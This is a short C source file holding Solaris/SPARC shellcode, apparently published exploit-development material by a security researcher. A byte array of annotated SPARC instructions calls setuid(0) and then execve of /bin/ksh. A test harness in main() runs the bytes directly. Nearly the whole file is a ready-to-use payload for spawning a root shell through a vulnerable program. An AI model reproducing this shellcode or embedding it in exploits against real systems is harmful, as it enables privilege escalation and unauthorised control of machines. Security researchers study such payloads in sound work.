/*
* sparc_solaris_exec.c - Solaris/SPARC execve() shellcode
* Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Pretty standard Solaris/SPARC setuid/execve shellcode.
*
* Tested on:
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
*/
char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */
/* setuid(0) */
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* execve("/bin/ksh", argv, NULL) */
"\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */
"\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */
"\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
"\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */
"\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */
"\x82\x10\x20\x0b" /* mov 0xb, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */
"\x41\x41\x41\x41" /* placeholder */
"/bin/ksh";
void main()
{
void (*f)() = (void *)sc;
f();
}
